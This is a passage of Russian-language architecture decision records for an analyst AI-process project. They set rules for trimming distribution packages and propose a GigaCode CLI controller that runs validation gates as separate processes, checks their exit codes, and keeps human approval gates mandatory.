\u0441\u0440\u0435\u0434\u0435**. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0438 \u0441\u043c\u044b\u0441\u043b\u043e\u0432\u043e\u0433\u043e \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u0430: \u0435\u0441\u043b\u0438 \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0435\u0433\u043e, \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 \u043c\u0435\u043d\u0435\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c, \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0438\u043b\u0438 \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0430\u0442\u044c \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c \u0432 \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435? \u0415\u0441\u043b\u0438 \u043d\u0435\u0442, \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442 \u0438\u0441\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0438\u0437 \u043f\u0430\u043a\u0435\u0442\u0430.\\n\\n\u0418\u0437 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439, \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432, \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u0432, \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0435\u0432 \u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f:\\n\\n- \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0434\u043b\u044f \u0438\u043d\u044b\u0445 \u0441\u0440\u0435\u0434 \u0438\u043b\u0438 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438;\\n- \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f \u0441 \u043d\u0438\u043c\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043e\u0433\u043e\u0432\u043e\u0440\u043a\u0438 \u0432\u0438\u0434\u0430 \u00ab\u044d\u0442\u043e \u043d\u0435 \u0441\u0440\u0435\u0434\u0430 X\u00bb \u0438 \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u044f, \u043f\u043e\u0447\u0435\u043c\u0443 \u0435\u0451 \u043d\u0435 \u0432\u044b\u0431\u0440\u0430\u043b\u0438;\\n- \u0438\u0441\u0442\u043e\u0440\u0438\u044f \u043e\u0448\u0438\u0431\u043e\u043a, \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0430, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0435 rationale, \u043f\u043b\u0430\u043d\u044b \u043c\u0438\u0433\u0440\u0430\u0446\u0438\u0438 \u0438 \u0438\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0435 \u043f\u043e\u043c\u043e\u0433\u0430\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0432 \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435.\\n\\n\u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u0434\u0440\u0443\u0433\u043e\u0439 \u0441\u0440\u0435\u0434\u044b \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e\u0433\u0434\u0430, \u043a\u043e\u0433\u0434\u0430 \u043e\u043d\u043e \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f **\u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u043c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u043c \u0432\u0445\u043e\u0434\u043e\u043c** \u0438\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u043e\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438: \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0438\u043c\u0435\u043d\u0435\u043c \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0433\u043e \u0444\u043e\u0440\u043c\u0430\u0442\u0430, \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0438\u043b\u0438 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438, \u0431\u0435\u0437 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043d\u0435\u043b\u044c\u0437\u044f \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043b\u0438\u0431\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043f\u0430\u043a\u0435\u0442. \u0422\u0430\u043a\u043e\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043c\u0435\u0441\u0442\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f; \u0441\u0440\u0430\u0432\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0441\u043f\u0440\u0430\u0432\u043a\u0430 \u0441\u0430\u043c\u0430 \u043f\u043e \u0441\u0435\u0431\u0435 \u0438\u043c \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f. \u0418\u043c\u0435\u043d\u0430 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0438 API \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u043e\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043f\u043e \u0442\u043e\u043c\u0443 \u0436\u0435 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044e: \u0437\u043d\u0430\u0447\u0438\u043c\u044b\u0435 \u0434\u043b\u044f \u043c\u043e\u0434\u0435\u043b\u0438 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f, \u043f\u043e\u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0435 \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f.\\n\\n`package-manifest.yaml` \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u043e ADR-017 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b Source, \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u043e\u0433\u043e \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0430, \u0432\u0435\u0440\u0441\u0438\u0438, \u0432\u0445\u043e\u0434\u043d\u043e\u0439 allowlist \u0438 \u0445\u0435\u0448\u0438 \u0432\u044b\u0445\u043e\u0434\u043e\u0432. \u042d\u0442\u0438 \u043f\u043e\u043b\u044f \u0441\u043b\u0443\u0436\u0430\u0442 provenance \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435 \u0441\u0431\u043e\u0440\u043a\u0438; \u043e\u043d\u0438 \u043d\u0435 \u0434\u0430\u044e\u0442 \u043f\u0440\u0430\u0432\u0430 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u0442\u044c \u0432 \u043f\u0430\u043a\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u0432\u0445\u043e\u0434\u043e\u0432 \u0438\u043b\u0438 \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u0432\u044b\u0431\u043e\u0440\u0430 \u0441\u0440\u0435\u0434\u044b. \u041f\u0440\u0430\u0432\u0438\u043b\u043e \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a\u043e **\u0432\u0441\u0435\u043c\u0443** \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u043e\u043c\u0443 \u0434\u0435\u0440\u0435\u0432\u0443, \u0432\u043a\u043b\u044e\u0447\u0430\u044f README, `AGENTS.md`, \u0442\u0435\u0441\u0442\u044b \u0438 manifest, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043a \u043b\u044e\u0431\u043e\u043c\u0443 \u0431\u0443\u0434\u0443\u0449\u0435\u043c\u0443 \u043f\u0430\u043a\u0435\u0442\u0443 \u0432 `dist/`; \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u043f\u043e \u0441\u0440\u0435\u0434\u0435 \u0438\u043b\u0438 \u0442\u0438\u043f\u0443 \u0444\u0430\u0439\u043b\u0430 \u043d\u0435\u0442.\\n\\n## Decision Drivers\\n\\n- \u041e\u0434\u043d\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0434\u0430\u0432\u0430\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044e \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0435\u0451 \u0441\u0440\u0435\u0434\u044b \u0438 \u043c\u043e\u0434\u0435\u043b\u0438.\\n- \u0423\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u0438\u0437\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0438 \u0441\u0431\u043e\u0440\u043a\u0438 \u043e\u0442 \u043f\u043e\u0432\u0442\u043e\u0440\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0440\u0435\u0442\u0430 \u043d\u0430 \u043b\u0438\u0448\u043d\u0438\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442.\\n- \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 provenance ADR-017 \u0434\u043e\u043b\u0436\u0435\u043d \u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c.\\n\\n## Alternatives Considered\\n\\n| Alternative | Decision |\\n| --- | --- |\\n=== docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md\\n\\n# ADR-018: \u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432 GigaCode CLI\\n\\n## Decision Metadata\\n\\n| Field | Value |\\n| --- | --- |\\n| ADR id | ADR-018 |\\n| Decision type | runtime |\\n| Decision status | proposed; \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0432\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u043f\u0440\u0438 review PR |\\n| Decision date | 2026-09-25 (\u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435) |\\n| Owner | G-Ivan-A |\\n| Source | [issue #615](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615), [\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u044b D](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615#issuecomment-5832987604) |\\n| Impacted artifacts | `projects/ba-ai-process/dist/execution-package-gigacode-cli/`; \u0431\u0443\u0434\u0443\u0449\u0438\u0439 runtime `G-Ivan-A/mango-ba-ai-runtime-cli` |\\n| Supersedes | none; \u0443\u0442\u043e\u0447\u043d\u044f\u0435\u0442 [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md) \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b |\\n| Superseded by | none |\\n\\n## Context\\n\\n\u0426\u0435\u043b\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u2014 \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u043a `A-IN \u2192 A-CORE \u2192 A-BCREQ` \u043d\u0430 \u0410\u0420\u041c \u0411\u0410. \u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 [\u043f\u0430\u043a\u0435\u0442](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli) \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0433\u0440\u0430\u0444, dispatcher skill, JSON Schema, Python-\u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u0438 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 Working \u2192 Release. \u0415\u0433\u043e [dispatcher](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/.gigacode/skills/rg-bcreq-v1-dispatcher/SKILL.md) \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0432\u044b\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0443\u0437\u043b\u0430 **\u0442\u0435\u043a\u0441\u0442\u043e\u043c \u0434\u043b\u044f \u0430\u0433\u0435\u043d\u0442\u0430** \u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 `python3 tools/validate-package.py` \u043d\u0430 preflight. [README \u043f\u0430\u043a\u0435\u0442\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/README.md) \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u0430 \u0438 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440\u0430. \u0418\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u0430\u043c \u0447\u0438\u0442\u0430\u0435\u0442 `routes/rg-bcreq-v1.yaml`, \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 Python \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0435 \u0438 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0443\u0437\u0435\u043b \u043f\u043e exit code, \u0432 \u043f\u0430\u043a\u0435\u0442\u0435 \u043d\u0435\u0442. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0439 \u0442\u0435\u0441\u0442 Python-\u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 **\u043f\u0440\u0438 \u0432\u044b\u0437\u043e\u0432\u0435**, \u043d\u043e \u043d\u0435 \u0444\u0430\u043a\u0442 \u0435\u0451 \u0432\u044b\u0437\u043e\u0432\u0430 \u0430\u0433\u0435\u043d\u0442\u043e\u043c.\\n\\n\u041f\u043e [\u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 GigaCode CLI](https://gitverse.ru/docs/ai/ai-assistant-gigacode/gigacode-cli/skills) \u043f\u0440\u043e\u0435\u043a\u0442\u043d\u044b\u0435 skills \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432 `.gigacode/skills/`, \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 `/skills`, \u0430 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430. [\u041a\u043e\u043c\u0430\u043d\u0434\u044b CLI](https://gitverse.ru/docs/ai/ai-assistant-gigacode/gigacode-cli/commands) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c shell \u0447\u0435\u0440\u0435\u0437 `!` \u0438 \u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c `/tools` \u0438 `/mcp`. \u042d\u0442\u043e \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c **\u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e** \u0437\u0430\u043f\u0443\u0441\u043a\u0430 Python \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0430\u0442\u043e\u0440\u0430 \u0438 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u043d\u043e \u043d\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u043a \u043f\u043e \u0433\u0440\u0430\u0444\u0443. \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b Q \u0438\u0437 [\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u0438\u0430\u043b\u043e\u0433\u0430](https://github.com/user-attachments/files/32652327/-.Q.250926.txt) \u043e \u0442\u043e\u043c, \u0447\u0442\u043e Tool Calling \u0441\u0430\u043c \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0448\u0430\u0433\u0430 \u0432 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432, \u043d\u0435 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0438\u0437 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u043a\u043e\u0434\u0430 \u043f\u0430\u043a\u0435\u0442\u0430.\\n\\n## Decision\\n\\n\u0421\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c GigaCode CLI \u043a\u0430\u043a **\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e** \u0441\u0440\u0435\u0434\u0443 \u0441 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u043f\u0430\u043a\u0435\u0442\u043e\u043c \u0438 \u0431\u0435\u0437 API Mango AI. \u0420\u0430\u0431\u043e\u0447\u0430\u044f \u0441\u0442\u0430\u043d\u0446\u0438\u044f \u0411\u0410 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 GigaCode CLI \u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 Python; \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u0439 Confluence MCP \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e CLI. \u041d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0442\u044c skill \u0438\u043b\u0438 \u0433\u0440\u0430\u0444 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u043c, \u043f\u043e\u043a\u0430 \u0437\u0430\u043f\u0443\u0441\u043a \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u0438 \u0433\u0435\u0439\u0442\u0430 \u043d\u0435 \u0432\u044b\u043d\u0435\u0441\u0435\u043d \u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0438 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c CLI.\\n\\n\u0414\u043b\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 `execution-package-gigacode-cli` \u0432 Source \u0441\u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043e\u0434\u0438\u043d \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u0439 \u0432\u0445\u043e\u0434 `tools/run-task` (\u0442\u043e\u0447\u043d\u043e\u0435 \u0438\u043c\u044f \u0437\u0430\u043a\u0440\u0435\u043f\u0438\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f): \u043e\u043d \u0447\u0438\u0442\u0430\u0435\u0442 \u0441\u043e\u0445\u0440\u0430\u043d\u0451\u043d\u043d\u044b\u0439 `TASK_ID` \u0438 \u0433\u0440\u0430\u0444, \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u043e \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0435 \u0440\u0435\u0431\u0440\u043e, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 gate \u043a\u0430\u043a \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 exit code \u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442. \u0410\u0433\u0435\u043d\u0442 \u0433\u043e\u0442\u043e\u0432\u0438\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0443\u0437\u043b\u0430; \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u043c. Human gates \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u044f\u0432\u043d\u043e\u0433\u043e \u043e\u0442\u0432\u0435\u0442\u0430 \u0411\u0410 \u0438 \u043d\u0435 \u043e\u0431\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 CLI. `G-mach` \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c Python, \u0430 `G-semantic` \u0438 `G-human` \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\u043c\u0438. Fail-closed \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 \u043d\u0430 \u043e\u0448\u0438\u0431\u043a\u0435, \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0438 \u0437\u0430\u043f\u0440\u0435\u0442 Release \u0434\u043e \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f Working baseline.\\n\\n\u0414\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u043f\u0430\u043a\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a **\u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0438\u043b\u043e\u0442**: \u0411\u0410 \u044f\u0432\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 `/skills rg-bcreq-v1-dispatcher`, \u0437\u0430\u0442\u0435\u043c \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043a\u0430\u0436\u0434\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438 \u0441\u043c\u043e\u0442\u0440\u0438\u0442 \u0435\u0451 exit code; \u044d\u0442\u043e \u043d\u0435 \u043a\u0432\u0430\u043b\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 end-to-end \u043f\u0440\u043e\u0433\u043e\u043d. \u0427\u0442\u0435\u043d\u0438\u0435 Python \u043a\u0430\u043a \u0442\u0435\u043a\u0441\u0442\u0430 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 JSON Schema, \u043d\u0435 \u0434\u0430\u0451\u0442 exit code \u0438 \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442 `G-mach`.\\n\\n\u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u0438 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f: Source \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 `projects/ba-ai-process/`, Distribution \u2014 \u0432 `dist/execution-package-gigacode-cli/`, GigaCode runtime \u2014 \u0432 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c [`G-Ivan-A/mango-ba-ai-runtime-cli`](https://github.com/G-Ivan-A/mango-ba-ai-runtime-cli). \u041d\u0435 